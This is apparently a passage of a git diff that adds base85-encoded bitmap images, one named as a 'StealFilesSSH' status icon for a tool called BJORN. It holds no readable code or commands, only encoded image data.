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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 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 